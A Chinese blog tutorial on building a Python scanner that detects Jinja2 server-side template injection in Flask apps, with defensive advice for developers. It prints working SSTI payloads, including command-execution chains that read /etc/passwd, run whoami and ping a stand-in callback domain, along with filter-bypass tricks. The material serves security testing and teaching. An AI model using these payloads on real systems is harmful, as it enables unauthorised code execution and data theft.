当前位置：首页 > news >正文

Flask应用SSTI漏洞自动化检测：Python脚本实现与Jinja2安全实践

news 2026/6/21 15:18:33

1. 项目概述与核心价值

最近在内部安全审计和众测项目中，我频繁遇到基于Flask框架开发的Web应用。这类应用轻量、灵活，但开发者如果对模板引擎的安全特性理解不深，很容易埋下服务器端模板注入（SSTI）的隐患。手动测试SSTI费时费力，尤其是面对大量参数和复杂应用时，效率很低。因此，我花时间写了一个Python脚本，专门用于自动化探测Flask应用中Jinja2模板引擎的SSTI漏洞。这个脚本不是简单的Payload喷射器，它集成了智能参数发现、上下文判断、Payload生成与结果验证，旨在模拟一个初级安全研究员的手动测试逻辑，提升漏洞挖掘的效率和深度。如果你正在学习Web安全、从事渗透测试，或者是一名Flask开发者想自查应用风险，这个工具和背后的思路会很有帮助。

2. 漏洞原理与Flask/Jinja2背景解析

2.1 为什么Flask应用容易产生SSTI？

Flask是一个微框架，它的设计哲学是“微核心+可扩展”。默认情况下，它使用Jinja2作为模板引擎。开发者通过render_template_string()或不当使用render_template()时，如果用户输入被直接拼接进模板字符串，就会引发SSTI。关键在于，Jinja2不仅仅是一个文本替换工具，它拥有一个强大的沙盒执行环境，支持执行有限的Python表达式和访问特定的对象属性。攻击者一旦控制了模板内容，就可以利用这个特性，从简单的信息泄露升级到远程命令执行（RCE），危害极大。

2.2 Jinja2的模板语法与危险函数

理解攻击的前提是理解Jinja2的语法。{{ ... }}用于输出表达式结果，{% ... %}用于执行控制语句（如循环、条件）。危险往往源于一些内置的“魔术方法”和属性。例如，所有Python对象都继承自基类object，而Jinja2环境中可以通过__class__属性回溯到这个基类，再通过__mro__（方法解析顺序）或__bases__找到其他类，最终目标是找到可以执行代码的类，如os._wrap_close、subprocess.Popen，或者通过__globals__访问函数的全局变量字典，从而引入os、sys等模块。

注意：不同版本的Python和Jinja2，以及不同的沙盒配置，可用的Payload会有所不同。我们的脚本需要具备一定的兼容性。

2.3 自动化探测的核心挑战

手动测试时，我们会替换参数值为{{7*7}}，然后观察返回页面是否出现49。自动化脚本需要解决几个问题：

如何发现所有可能的注入点？不仅仅是GET/POST参数，还包括Cookie、Headers，甚至是JSON/XML格式的请求体。
如何区分渲染成功与巧合？返回页面包含“49”不一定就是SSTI，可能是页面的固定文本。
如何判断注入上下文并升级Payload？确认存在注入后，需要判断是否被过滤、沙盒限制，并尝试构造更高级的Payload验证危害。
如何保持隐蔽和稳定？避免因Payload过于攻击性而触发WAF或导致应用崩溃。

3. 脚本整体设计与模块拆解

我的脚本设计遵循“侦察-探测-验证-报告”的流程。主要分为以下几个模块：

参数收集器（Parameter Collector）：解析URL，识别并提取所有可能的输入点。
Payload生成器（Payload Generator）：根据不同的测试阶段（基础探测、上下文判断、命令执行）生成相应的Payload。
引擎与上下文判断器（Engine & Context Detector）：发送探测Payload，根据响应特征判断是否使用Jinja2以及注入的上下文（如是否在{{ }}内，是否有过滤）。
漏洞验证器（Exploit Verifier）：在确认存在注入后，发送无害但可验证的指令（如执行whoami或读取/etc/passwd的一行），以确认漏洞的真实可利用性。
报告生成器（Report Generator）：将发现的问题以结构化的格式（如JSON、HTML）输出。

3.1 工具选型与依赖库

脚本基于Python 3.6+，主要依赖requests库处理HTTP请求，colorama用于终端彩色输出（可选），argparse处理命令行参数。选择requests是因为它简单易用且功能强大，足以处理大多数HTTP场景。我们没有选用异步库（如aiohttp），是为了保证代码的简洁性和更广泛的兼容性，毕竟在单目标深度探测时，并发并非首要需求。

# 依赖安装 pip install requests colorama

4. 核心代码实现与关键逻辑剖析

4.1 参数收集器的实现

这个模块的目标是尽可能全面地收集测试点。我们不仅要处理标准的?key=value，还要处理RESTful风格的路径参数（如/user/<id>），以及POST请求中的表单数据和JSON。

import urllib.parse from urllib.parse import urlparse, parse_qs def collect_parameters(target_url): """ 从目标URL中收集所有可能的参数。 返回一个字典，键为参数名，值为初始值（通常为空或占位符）。 """ parsed_url = urlparse(target_url) params = {} # 1. 处理查询字符串参数 (GET参数) query_params = parse_qs(parsed_url.query) for key, value in query_params.items(): # parse_qs返回列表，取第一个值作为初始值 params[f"GET:{key}"] = value[0] if value else "" # 2. 处理POST数据（这里需要外部提供，本函数仅作结构示例） # 在实际脚本中，POST数据可能通过另一个函数或交互式方式获取 # 3. 识别URL中的路径参数（如 /user/123 -> 可能有个参数叫 `id`） # 这是一个启发式方法，并非总是准确 path_parts = parsed_url.path.strip('/').split('/') # 简单假设数字或特定格式的路径段可能是参数 for i, part in enumerate(path_parts): if part.isdigit() or (len(part) > 8 and '-' in part): # 简单启发式规则 params[f"PATH:{i}"] = part return params

实操心得：在实际测试中，通过爬虫或代理日志获取到的请求参数会更准确。我们的脚本可以设计为接受一个Burp Suite的代理日志文件（.xml或.json）作为输入，直接提取其中的请求参数，这样覆盖面最广。

4.2 智能Payload生成策略

Payload不能是硬编码的列表，而应该根据上下文动态生成。我设计了一个分层级的Payload体系：

第一层：基础语法探测目的是触发最基本的模板渲染，确认是否存在注入点。

basic_payloads = [ "{{7*7}}", # 期望返回 49 "{{7*'7'}}", # 期望返回 7777777 (Jinja2特性) "${7*7}", # 针对其他模板引擎，如FreeMarker "#{7*7}", # 针对其他模板引擎，如Ruby ERB "${{7*7}}", # 一些混淆写法 ]

第二层：引擎指纹识别如果基础Payload成功，我们需要确认是否是Jinja2。

engine_payloads = { "jinja2": [ "{{'7'*7}}", # 返回 '7777777' "{{request}}", # Flask中默认可访问的request对象 "{{config}}", # 如果config可访问，信息量巨大 "{{''.__class__}}", # 尝试访问魔术属性 ], "twig": ["{{7*7}}"], # Twig也有类似语法，但对象模型不同 # ... 其他引擎 }

第三层：上下文绕过与沙盒探测当确认是Jinja2后，我们需要探测过滤规则和可用对象。

bypass_payloads = [ "{{7*7}}", # 原始 "{{7*7}}", # 大小写混淆 (Jinja2不敏感，但WAF可能敏感) "{{7*7}}", # 使用HTML实体编码 "{{7*7}}", # 插入无关字符 {% raw %}...{% endraw %} (如果允许) "{{self}}", # 尝试访问self对象 "{{lipsum}}", # 测试是否启用了某些危险函数 ]

第四层：命令执行验证这是最后一步，用于证明漏洞的危害性。必须使用无害命令，避免对目标造成实际损害。

rce_test_payloads = [ # 尝试读取/etc/passwd的第一行 (Linux) "{{ ''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['os'].popen('head -n1 /etc/passwd').read() }}", # 尝试执行whoami命令 "{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}", ]

重要安全警告：在自动化测试中，RCE验证Payload必须极其谨慎。我强烈建议使用“延迟验证”或“DNS外带”等无害方式。例如，可以尝试触发一个到可控服务器的HTTP请求（curl http://your-server.com/），或者执行sleep 5通过响应时间判断。脚本中应默认禁用此阶段，或需要用户显式确认。

4.3 引擎与上下文判断逻辑

这是脚本的“大脑”。它需要分析服务器对Payload的响应。

import re def detect_injection(response_text, original_text, payload): """ 根据响应判断是否可能存在SSTI。 original_text: 原始请求的响应文本（用于对比，排除静态内容干扰）。 """ # 1. 数学运算验证 if payload == "{{7*7}}": if "49" in response_text and "49" not in original_text: return True, "Basic arithmetic injection detected (49)." # 处理Jinja2将数字转为字符串的情况，有时'49'会作为字符串的一部分出现 elif re.search(r'[^0-9a-zA-Z]49[^0-9a-zA-Z]', response_text) and not re.search(r'[^0-9a-zA-Z]49[^0-9a-zA-Z]', original_text): return True, "Basic arithmetic injection detected (isolated 49)." # 2. 字符串乘法验证 if payload == "{{7*'7'}}": if "7777777" in response_text and "7777777" not in original_text: return True, "String repetition injection detected (Jinja2 specific)." # 3. 对象访问验证 (更可靠) if payload == "{{''.__class__}}": if "<class 'str'>" in response_text or "__class__" in response_text: # 需要进一步判断，可能是错误信息，也可能是成功回显 # 对比原始响应，如果原始响应没有这些字符串，则可能性大增 if ("<class 'str'>" in response_text and "<class 'str'>" not in original_text) or \ ("__class__" in response_text and "__class__" not in original_text): return True, "Object attribute access detected." # 4. 响应时间延迟验证 (用于盲注) # 可以在发送Payload `{{ ''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['time'].sleep(5) }}` 后计算时间差 # 这部分逻辑需要在发送请求的函数中实现 return False, ""

4.4 主控流程与并发考虑

脚本的主函数负责串联所有模块。为了提高效率，在对单个目标的多个参数进行测试时，可以采用线程池进行并发请求。但必须注意控制并发度，避免对目标服务器造成拒绝服务（DoS）攻击。

import concurrent.futures import requests import time def test_parameter(target_url, param_name, param_value, payload_list, delay=0.5): """测试单个参数点""" vulnerabilities = [] session = requests.Session() # 使用Session保持Cookie等状态 original_response = session.get(target_url).text # 获取原始响应用于对比 for payload in payload_list: # 构造新的参数，将原值替换为Payload # 这里需要根据参数类型（GET, POST, PATH, HEADER）分别处理 test_data = {param_name: payload} # 简化示例 try: resp = session.post(target_url, data=test_data, timeout=10) is_injected, reason = detect_injection(resp.text, original_response, payload) if is_injected: vulnerabilities.append((param_name, payload, reason)) print(f"[+] Found potential SSTI in {param_name} with payload: {payload}") print(f" Reason: {reason}") # 发现一个后，可以跳过该参数的其他基础Payload，进入更深层测试 break except requests.exceptions.RequestException as e: print(f"[-] Error testing {param_name} with {payload}: {e}") time.sleep(delay) # 请求间延迟，避免触发速率限制 return vulnerabilities def main(target_url): params = collect_parameters(target_url) all_vulns = [] # 使用线程池，最大并发数设为3，较为温和 with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor: future_to_param = {} for param_name, orig_value in params.items(): future = executor.submit(test_parameter, target_url, param_name, orig_value, basic_payloads) future_to_param[future] = param_name for future in concurrent.futures.as_completed(future_to_param): param_name = future_to_param[future] try: vulns = future.result() all_vulns.extend(vulns) except Exception as exc: print(f'{param_name} generated an exception: {exc}') return all_vulns

5. 实战演练：从发现到验证

假设我们有一个测试目标：http://testvuln.com/greet?name=Visitor。

运行脚本：python ssti_detector.py -u http://testvuln.com/greet
参数收集：脚本识别出GET参数name，其值为Visitor。
基础探测：脚本将name的值替换为{{7*7}}并发起请求。假设服务器端代码为render_template_string("Hello, " + request.args.get('name'))。
响应分析：服务器返回Hello, 49。脚本通过对比原始响应Hello, Visitor，发现新增了49且该数字与Payload直接相关，判定为潜在注入。
引擎确认：脚本接着发送{{7*'7'}}，返回Hello, 7777777，这强烈指向Jinja2引擎。
深度探测：脚本尝试{{''.__class__}}，返回Hello, <class 'str'>，确认可以访问Python对象属性，漏洞确认。
无害验证（可选，需手动开启）：脚本尝试一个无害的DNS外带Payload或执行sleep 2。例如，使用一个构造的Payload尝试访问一个不存在的子域名并记录时间差，或者通过{{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['os'].popen('ping -c 1 your-unique-subdomain.example.com').read()}}，在你的DNS日志上查看是否有解析请求，从而确认命令执行能力。

6. 常见问题、绕过技巧与防御建议

6.1 自动化探测中常见的问题

误报：页面本身包含“49”或“7777777”。解决方案是差分对比，必须对比注入前后的响应，并检查新增内容是否与Payload有直接逻辑关联。更可靠的是使用更独特的Payload，如{{1337*1337}}，然后检查1787569。
盲注（Blind SSTI）：注入成功但结果不直接显示在响应中。这时需要基于时间延迟（sleep）或外部网络交互（DNS/HTTP请求）的Payload。脚本需要支持测量响应时间或监听外带通道。
WAF/过滤绕过：常见的过滤包括黑名单关键字（如__class__、os、eval）、括号过滤等。绕过技巧包括：
- 字符串拼接：{{''['__cl'+'ass__']}}
- 属性访问替代：使用|attr()过滤器，如{{''|attr('__class__')}}
- 编码/混淆：使用Hex、Base64、Rot13等编码（如果模板支持解码函数）。
- 利用未过滤的字符：Jinja2中，可以使用[]代替.进行属性访问，如{{''['__class__']}}。
- 寻找替代对象链：__class__被过滤，可以尝试__mro__、__bases__、__subclasses__()等。

6.2 给开发者的防御建议

根本方法：不要信任用户输入。永远不要将用户输入直接传递给模板渲染函数。
- 错误示例：render_template_string("Hello, " + username)
- 正确做法：使用模板的变量传递机制。
```
# Flask视图函数 return render_template('greet.html', name=username)
```
```
 Hello, {{ name }}
```
  这样，name变量在模板中只是一个待渲染的值，而不是可执行的代码。

严格沙盒配置：对于必须使用render_template_string的场景，可以创建自定义的Jinja2环境，移除或重写危险的全局函数和过滤器。

from jinja2 import Environment, BaseLoader class SandboxedEnvironment(Environment): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # 移除危险的全局函数 self.globals.pop('__builtins__', None) # 可以添加自定义的安全全局变量 self.globals['safe_range'] = range